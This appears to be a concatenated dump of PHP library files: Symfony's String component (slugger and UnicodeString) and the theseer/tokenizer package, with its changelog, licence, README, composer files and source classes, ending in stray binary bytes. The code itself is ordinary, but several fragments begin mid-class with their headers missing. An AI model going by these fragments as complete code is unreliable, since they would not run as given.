} } return $unicodeString ->replaceMatches('/[^A-Za-z0-9]++/', $separator) ->trim($separator) ; } private function createTransliterator(string $locale): ?\Transliterator { if (\array_key_exists($locale, $this->transliterators)) { return $this->transliterators[$locale]; } // Exact locale supported, cache and return if ($id = self::LOCALE_TO_TRANSLITERATOR_ID[$locale] ?? null) { return $this->transliterators[$locale] = \Transliterator::create($id.'/BGN') ?? \Transliterator::create($id); } // Locale not supported and no parent, fallback to any-latin if (!$parent = self::getParentLocale($locale)) { return $this->transliterators[$locale] = null; } // Try to use the parent locale (ie. try "de" for "de_AT") and cache both locales if ($id = self::LOCALE_TO_TRANSLITERATOR_ID[$parent] ?? null) { $transliterator = \Transliterator::create($id.'/BGN') ?? \Transliterator::create($id); } return $this->transliterators[$locale] = $this->transliterators[$parent] = $transliterator ?? null; } private function createEmojiTransliterator(?string $locale): ?EmojiTransliterator { if (\is_string($this->emoji)) { $locale = $this->emoji; } elseif (!$this->emoji) { return null; } while (null !== $locale) { try { return EmojiTransliterator::create("emoji-$locale"); } catch (\IntlException) { $locale = self::getParentLocale($locale); } } return null; } private static function getParentLocale(?string $locale): ?string { if (!$locale) { return null; } if (false === $str = strrchr($locale, '_')) { // no parent locale return null; } return substr($locale, 0, -\strlen($str)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Slugger; use Symfony\Component\String\AbstractUnicodeString; /** * Creates a URL-friendly slug from a given string. * * @author Titouan Galopin */ interface SluggerInterface { /** * Creates a slug for the given string and locale, using appropriate transliteration when needed. */ public function slug(string $string, string $separator = '-', ?string $locale = null): AbstractUnicodeString; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; /** * Represents a string of Unicode grapheme clusters encoded as UTF-8. * * A letter followed by combining characters (accents typically) form what Unicode defines * as a grapheme cluster: a character as humans mean it in written texts. This class knows * about the concept and won't split a letter apart from its combining accents. It also * ensures all string comparisons happen on their canonically-composed representation, * ignoring e.g. the order in which accents are listed when a letter has many of them. * * @see https://unicode.org/reports/tr15/ * * @author Nicolas Grekas * @author Hugo Hamon * * @throws ExceptionInterface */ class UnicodeString extends AbstractUnicodeString { public function __construct(string $string = '') { if ('' === $string || normalizer_is_normalized($this->string = $string)) { return; } if (false === $string = normalizer_normalize($string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $this->string = $string; } public function append(string ...$suffix): static { $str = clone $this; $str->string = $this->string.(1 >= \count($suffix) ? ($suffix[0] ?? '') : implode('', $suffix)); if (normalizer_is_normalized($str->string)) { return $str; } if (false === $string = normalizer_normalize($str->string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $str->string = $string; return $str; } public function chunk(int $length = 1): array { if (1 > $length) { throw new InvalidArgumentException('The chunk length must be greater than zero.'); } if ('' === $this->string) { return []; } $rx = '/('; while (65535 < $length) { $rx .= '\X{65535}'; $length -= 65535; } $rx .= '\X{'.$length.'})/u'; $str = clone $this; $chunks = []; foreach (preg_split($rx, $this->string, -1, \PREG_SPLIT_DELIM_CAPTURE | \PREG_SPLIT_NO_EMPTY) as $chunk) { $str->string = $chunk; $chunks[] = clone $str; } return $chunks; } public function endsWith(string|iterable|AbstractString $suffix): bool { if ($suffix instanceof AbstractString) { $suffix = $suffix->string; } elseif (!\is_string($suffix)) { return parent::endsWith($suffix); } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($suffix, $form) ?: $suffix = normalizer_normalize($suffix, $form); if ('' === $suffix || false === $suffix) { return false; } if ($this->ignoreCase) { return 0 === mb_stripos(grapheme_extract($this->string, \strlen($suffix), \GRAPHEME_EXTR_MAXBYTES, \strlen($this->string) - \strlen($suffix)), $suffix, 0, 'UTF-8'); } return $suffix === grapheme_extract($this->string, \strlen($suffix), \GRAPHEME_EXTR_MAXBYTES, \strlen($this->string) - \strlen($suffix)); } public function equalsTo(string|iterable|AbstractString $string): bool { if ($string instanceof AbstractString) { $string = $string->string; } elseif (!\is_string($string)) { return parent::equalsTo($string); } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($string, $form) ?: $string = normalizer_normalize($string, $form); if ('' !== $string && false !== $string && $this->ignoreCase) { return \strlen($string) === \strlen($this->string) && 0 === mb_stripos($this->string, $string, 0, 'UTF-8'); } return $string === $this->string; } public function indexOf(string|iterable|AbstractString $needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (!\is_string($needle)) { return parent::indexOf($needle, $offset); } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($needle, $form) ?: $needle = normalizer_normalize($needle, $form); if ('' === $needle || false === $needle) { return null; } try { $i = $this->ignoreCase ? grapheme_stripos($this->string, $needle, $offset) : grapheme_strpos($this->string, $needle, $offset); } catch (\ValueError) { return null; } return false === $i ? null : $i; } public function indexOfLast(string|iterable|AbstractString $needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (!\is_string($needle)) { return parent::indexOfLast($needle, $offset); } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($needle, $form) ?: $needle = normalizer_normalize($needle, $form); if ('' === $needle || false === $needle) { return null; } $string = $this->string; if (0 > $offset) { // workaround https://bugs.php.net/74264 if (0 > $offset += grapheme_strlen($needle)) { $string = grapheme_substr($string, 0, $offset); } $offset = 0; } $i = $this->ignoreCase ? grapheme_strripos($string, $needle, $offset) : grapheme_strrpos($string, $needle, $offset); return false === $i ? null : $i; } public function join(array $strings, ?string $lastGlue = null): static { $str = parent::join($strings, $lastGlue); normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); return $str; } public function length(): int { return grapheme_strlen($this->string); } public function normalize(int $form = self::NFC): static { $str = clone $this; if (\in_array($form, [self::NFC, self::NFKC], true)) { normalizer_is_normalized($str->string, $form) ?: $str->string = normalizer_normalize($str->string, $form); } elseif (!\in_array($form, [self::NFD, self::NFKD], true)) { throw new InvalidArgumentException('Unsupported normalization form.'); } elseif (!normalizer_is_normalized($str->string, $form)) { $str->string = normalizer_normalize($str->string, $form); $str->ignoreCase = null; } return $str; } public function prepend(string ...$prefix): static { $str = clone $this; $str->string = (1 >= \count($prefix) ? ($prefix[0] ?? '') : implode('', $prefix)).$this->string; if (normalizer_is_normalized($str->string)) { return $str; } if (false === $string = normalizer_normalize($str->string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $str->string = $string; return $str; } public function replace(string $from, string $to): static { $str = clone $this; normalizer_is_normalized($from) ?: $from = normalizer_normalize($from); if ('' !== $from && false !== $from) { $tail = $str->string; $result = ''; $indexOf = $this->ignoreCase ? 'grapheme_stripos' : 'grapheme_strpos'; while ('' !== $tail && false !== $i = $indexOf($tail, $from)) { $slice = grapheme_substr($tail, 0, $i); $result .= $slice.$to; $tail = substr($tail, \strlen($slice) + \strlen($from)); } $str->string = $result.$tail; if (normalizer_is_normalized($str->string)) { return $str; } if (false === $string = normalizer_normalize($str->string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $str->string = $string; } return $str; } public function replaceMatches(string $fromRegexp, string|callable $to): static { $str = parent::replaceMatches($fromRegexp, $to); normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); return $str; } public function slice(int $start = 0, ?int $length = null): static { $str = clone $this; $str->string = (string) grapheme_substr($this->string, $start, $length ?? 2147483647); return $str; } public function splice(string $replacement, int $start = 0, ?int $length = null): static { $str = clone $this; $start = $start ? \strlen(grapheme_substr($this->string, 0, $start)) : 0; $length = $length ? \strlen(grapheme_substr($this->string, $start, $length ?? 2147483647)) : $length; $str->string = substr_replace($this->string, $replacement, $start, $length ?? 2147483647); if (normalizer_is_normalized($str->string)) { return $str; } if (false === $string = normalizer_normalize($str->string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $str->string = $string; return $str; } public function split(string $delimiter, ?int $limit = null, ?int $flags = null): array { if (1 > $limit ??= 2147483647) { throw new InvalidArgumentException('Split limit must be a positive integer.'); } if ('' === $delimiter) { throw new InvalidArgumentException('Split delimiter is empty.'); } if (null !== $flags) { return parent::split($delimiter.'u', $limit, $flags); } normalizer_is_normalized($delimiter) ?: $delimiter = normalizer_normalize($delimiter); if (false === $delimiter) { throw new InvalidArgumentException('Split delimiter is not a valid UTF-8 string.'); } $str = clone $this; $tail = $this->string; $chunks = []; $indexOf = $this->ignoreCase ? 'grapheme_stripos' : 'grapheme_strpos'; while (1 < $limit && false !== $i = $indexOf($tail, $delimiter)) { $str->string = grapheme_substr($tail, 0, $i); $chunks[] = clone $str; $tail = substr($tail, \strlen($str->string) + \strlen($delimiter)); --$limit; } $str->string = $tail; $chunks[] = clone $str; return $chunks; } public function startsWith(string|iterable|AbstractString $prefix): bool { if ($prefix instanceof AbstractString) { $prefix = $prefix->string; } elseif (!\is_string($prefix)) { return parent::startsWith($prefix); } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($prefix, $form) ?: $prefix = normalizer_normalize($prefix, $form); if ('' === $prefix || false === $prefix) { return false; } if ($this->ignoreCase) { return 0 === mb_stripos(grapheme_extract($this->string, \strlen($prefix), \GRAPHEME_EXTR_MAXBYTES), $prefix, 0, 'UTF-8'); } return $prefix === grapheme_extract($this->string, \strlen($prefix), \GRAPHEME_EXTR_MAXBYTES); } /** * @return void */ public function __wakeup() { if (!\is_string($this->string)) { throw new \BadMethodCallException('Cannot unserialize '.__CLASS__); } normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string); } public function __clone() { if (null === $this->ignoreCase) { normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string); } $this->ignoreCase = false; } } { "name": "symfony/string", "type": "library", "description": "Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way", "keywords": ["string", "utf8", "utf-8", "grapheme", "i18n", "unicode"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1", "symfony/polyfill-ctype": "~1.8", "symfony/polyfill-intl-grapheme": "~1.0", "symfony/polyfill-intl-normalizer": "~1.0", "symfony/polyfill-mbstring": "~1.0" }, "require-dev": { "symfony/http-client": "^5.4|^6.0|^7.0", "symfony/intl": "^6.2|^7.0", "symfony/translation-contracts": "^2.5|^3.0", "symfony/var-exporter": "^5.4|^6.0|^7.0" }, "conflict": { "symfony/translation-contracts": "<2.5" }, "autoload": { "psr-4": { "Symfony\\Component\\String\\": "" }, "files": [ "Resources/functions.php" ], "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } # Changelog All notable changes to Tokenizer are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [1.2.3] - 2024-03-03 ### Changed * Do not use implicitly nullable parameters ## [1.2.2] - 2023-11-20 ### Fixed * [#18](https://github.com/theseer/tokenizer/issues/18): Tokenizer fails on protobuf metadata files ## [1.2.1] - 2021-07-28 ### Fixed * [#13](https://github.com/theseer/tokenizer/issues/13): Fatal error when tokenizing files that contain only a single empty line ## [1.2.0] - 2020-07-13 This release is now PHP 8.0 compliant. ### Fixed * Whitespace handling in general (only noticable in the intermediate `TokenCollection`) is now consitent ### Changed * Updated `Tokenizer` to deal with changed whitespace handling in PHP 8.0 The XMLSerializer was unaffected. ## [1.1.3] - 2019-06-14 ### Changed * Ensure XMLSerializer can deal with empty token collections ### Fixed * [#2](https://github.com/theseer/tokenizer/issues/2): Fatal error in infection / phpunit ## [1.1.2] - 2019-04-04 ### Changed * Reverted PHPUnit 8 test update to stay PHP 7.0 compliant ## [1.1.1] - 2019-04-03 ### Fixed * [#1](https://github.com/theseer/tokenizer/issues/1): Empty file causes invalid array read ### Changed * Tests should now be PHPUnit 8 compliant ## [1.1.0] - 2017-04-07 ### Added * Allow use of custom namespace for XML serialization ## [1.0.0] - 2017-04-05 Initial Release [1.2.3]: https://github.com/theseer/tokenizer/compare/1.2.2...1.2.3 [1.2.2]: https://github.com/theseer/tokenizer/compare/1.2.1...1.2.2 [1.2.1]: https://github.com/theseer/tokenizer/compare/1.2.0...1.2.1 [1.2.0]: https://github.com/theseer/tokenizer/compare/1.1.3...1.2.0 [1.1.3]: https://github.com/theseer/tokenizer/compare/1.1.2...1.1.3 [1.1.2]: https://github.com/theseer/tokenizer/compare/1.1.1...1.1.2 [1.1.1]: https://github.com/theseer/tokenizer/compare/1.1.0...1.1.1 [1.1.0]: https://github.com/theseer/tokenizer/compare/1.0.0...1.1.0 [1.0.0]: https://github.com/theseer/tokenizer/compare/b2493e57de80c1b7414219b28503fa5c6b4d0a98...1.0.0 Tokenizer Copyright (c) 2017 Arne Blankerts and contributors All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Arne Blankerts nor the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT * NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # Tokenizer A small library for converting tokenized PHP source code into XML. [![Test](https://github.com/theseer/tokenizer/actions/workflows/ci.yml/badge.svg)](https://github.com/theseer/tokenizer/actions/workflows/ci.yml) ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): composer require theseer/tokenizer If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: composer require --dev theseer/tokenizer ## Usage examples ```php $tokenizer = new TheSeer\Tokenizer\Tokenizer(); $tokens = $tokenizer->parse(file_get_contents(__DIR__ . '/src/XMLSerializer.php')); $serializer = new TheSeer\Tokenizer\XMLSerializer(); $xml = $serializer->toXML($tokens); echo $xml; ``` The generated XML structure looks something like this: ```xml <?php declare ( strict_types = 1 ) ; ``` { "name": "theseer/tokenizer", "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", "license": "BSD-3-Clause", "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" } ], "support": { "issues": "https://github.com/theseer/tokenizer/issues" }, "require": { "php": "^7.2 || ^8.0", "ext-xmlwriter": "*", "ext-dom": "*", "ext-tokenizer": "*" }, "autoload": { "classmap": [ "src/" ] } } { "_readme": [ "This file locks the dependencies of your project to a known state", "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], "content-hash": "b010f1b3d9d47d431ee1cb54ac1de755", "packages": [], "packages-dev": [], "aliases": [], "minimum-stability": "stable", "stability-flags": [], "prefer-stable": false, "prefer-lowest": false, "platform": { "php": "^7.2 || ^8.0", "ext-xmlwriter": "*", "ext-dom": "*", "ext-tokenizer": "*" }, "platform-dev": [] } ensureValidUri($value); $this->value = $value; } public function asString(): string { return $this->value; } private function ensureValidUri($value): void { if (\strpos($value, ':') === false) { throw new NamespaceUriException( \sprintf("Namespace URI '%s' must contain at least one colon", $value) ); } } } line = $line; $this->name = $name; $this->value = $value; } public function getLine(): int { return $this->line; } public function getName(): string { return $this->name; } public function getValue(): string { return $this->value; } } tokens[] = $token; } public function current(): Token { return \current($this->tokens); } public function key(): int { return \key($this->tokens); } public function next(): void { \next($this->tokens); $this->pos++; } public function valid(): bool { return $this->count() > $this->pos; } public function rewind(): void { \reset($this->tokens); $this->pos = 0; } public function count(): int { return \count($this->tokens); } public function offsetExists($offset): bool { return isset($this->tokens[$offset]); } /** * @throws TokenCollectionException */ public function offsetGet($offset): Token { if (!$this->offsetExists($offset)) { throw new TokenCollectionException( \sprintf('No Token at offest %s', $offset) ); } return $this->tokens[$offset]; } /** * @param Token $value * * @throws TokenCollectionException */ public function offsetSet($offset, $value): void { if (!\is_int($offset)) { $type = \gettype($offset); throw new TokenCollectionException( \sprintf( 'Offset must be of type integer, %s given', $type === 'object' ? \get_class($value) : $type ) ); } if (!$value instanceof Token) { $type = \gettype($value); throw new TokenCollectionException( \sprintf( 'Value must be of type %s, %s given', Token::class, $type === 'object' ? \get_class($value) : $type ) ); } $this->tokens[$offset] = $value; } public function offsetUnset($offset): void { unset($this->tokens[$offset]); } } 'T_OPEN_BRACKET', ')' => 'T_CLOSE_BRACKET', '[' => 'T_OPEN_SQUARE', ']' => 'T_CLOSE_SQUARE', '{' => 'T_OPEN_CURLY', '}' => 'T_CLOSE_CURLY', ';' => 'T_SEMICOLON', '.' => 'T_DOT', ',' => 'T_COMMA', '=' => 'T_EQUAL', '<' => 'T_LT', '>' => 'T_GT', '+' => 'T_PLUS', '-' => 'T_MINUS', '*' => 'T_MULT', '/' => 'T_DIV', '?' => 'T_QUESTION_MARK', '!' => 'T_EXCLAMATION_MARK', ':' => 'T_COLON', '"' => 'T_DOUBLE_QUOTES', '@' => 'T_AT', '&' => 'T_AMPERSAND', '%' => 'T_PERCENT', '|' => 'T_PIPE', '$' => 'T_DOLLAR', '^' => 'T_CARET', '~' => 'T_TILDE', '`' => 'T_BACKTICK' ]; public function parse(string $source): TokenCollection { $result = new TokenCollection(); if ($source === '') { return $result; } $tokens = \token_get_all($source); $lastToken = new Token( $tokens[0][2], 'Placeholder', '' ); foreach ($tokens as $pos => $tok) { if (\is_string($tok)) { $token = new Token( $lastToken->getLine(), $this->map[$tok], $tok ); $result->addToken($token); $lastToken = $token; continue; } $line = $tok[2]; $values = \preg_split('/\R+/Uu', $tok[1]); if (!$values) { $result->addToken( new Token( $line, \token_name($tok[0]), '{binary data}' ) ); continue; } foreach ($values as $v) { $token = new Token( $line, \token_name($tok[0]), $v ); $lastToken = $token; $line++; if ($v === '') { continue; } $result->addToken($token); } } return $this->fillBlanks($result, $lastToken->getLine()); } private function fillBlanks(TokenCollection $tokens, int $maxLine): TokenCollection { $prev = new Token( 0, 'Placeholder', '' ); $final = new TokenCollection(); foreach ($tokens as $token) { $gap = $token->getLine() - $prev->getLine(); while ($gap > 1) { $linebreak = new Token( $prev->getLine() + 1, 'T_WHITESPACE', '' ); $final->addToken($linebreak); $prev = $linebreak; $gap--; } $final->addToken($token); $prev = $token; } $gap = $maxLine - $prev->getLine(); while ($gap > 0) { $linebreak = new Token( $prev->getLine() + 1, 'T_WHITESPACE', '' ); $final->addToken($linebreak); $prev = $linebreak; $gap--; } return $final; } } xmlns = $xmlns; } public function toDom(TokenCollection $tokens): DOMDocument { $dom = new DOMDocument(); $dom->preserveWhiteSpace = false; $dom->loadXML($this->toXML($tokens)); return $dom; } public function toXML(TokenCollection $tokens): string { $this->writer = new \XMLWriter(); $this->writer->openMemory(); $this->writer->setIndent(true); $this->writer->startDocument(); $this->writer->startElement('source'); $this->writer->writeAttribute('xmlns', $this->xmlns->asString()); if (\count($tokens) > 0) { $this->writer->startElement('line'); $this->writer->writeAttribute('no', '1'); $this->previousToken = $tokens[0]; foreach ($tokens as $token) { $this->addToken($token); } } $this->writer->endElement(); $this->writer->endElement(); $this->writer->endDocument(); return $this->writer->outputMemory(); } private function addToken(Token $token): void { if ($this->previousToken->getLine() < $token->getLine()) { $this->writer->endElement(); $this->writer->startElement('line'); $this->writer->writeAttribute('no', (string)$token->getLine()); $this->previousToken = $token; } if ($token->getValue() !== '') { $this->writer->startElement('token'); $this->writer->writeAttribute('name', $token->getName()); $this->writer->writeRaw(\htmlspecialchars($token->getValue(), \ENT_NOQUOTES | \ENT_DISALLOWED | \ENT_XML1)); $this->writer->endElement(); } } } jMRZK_.섥a.x ֱ|GBMB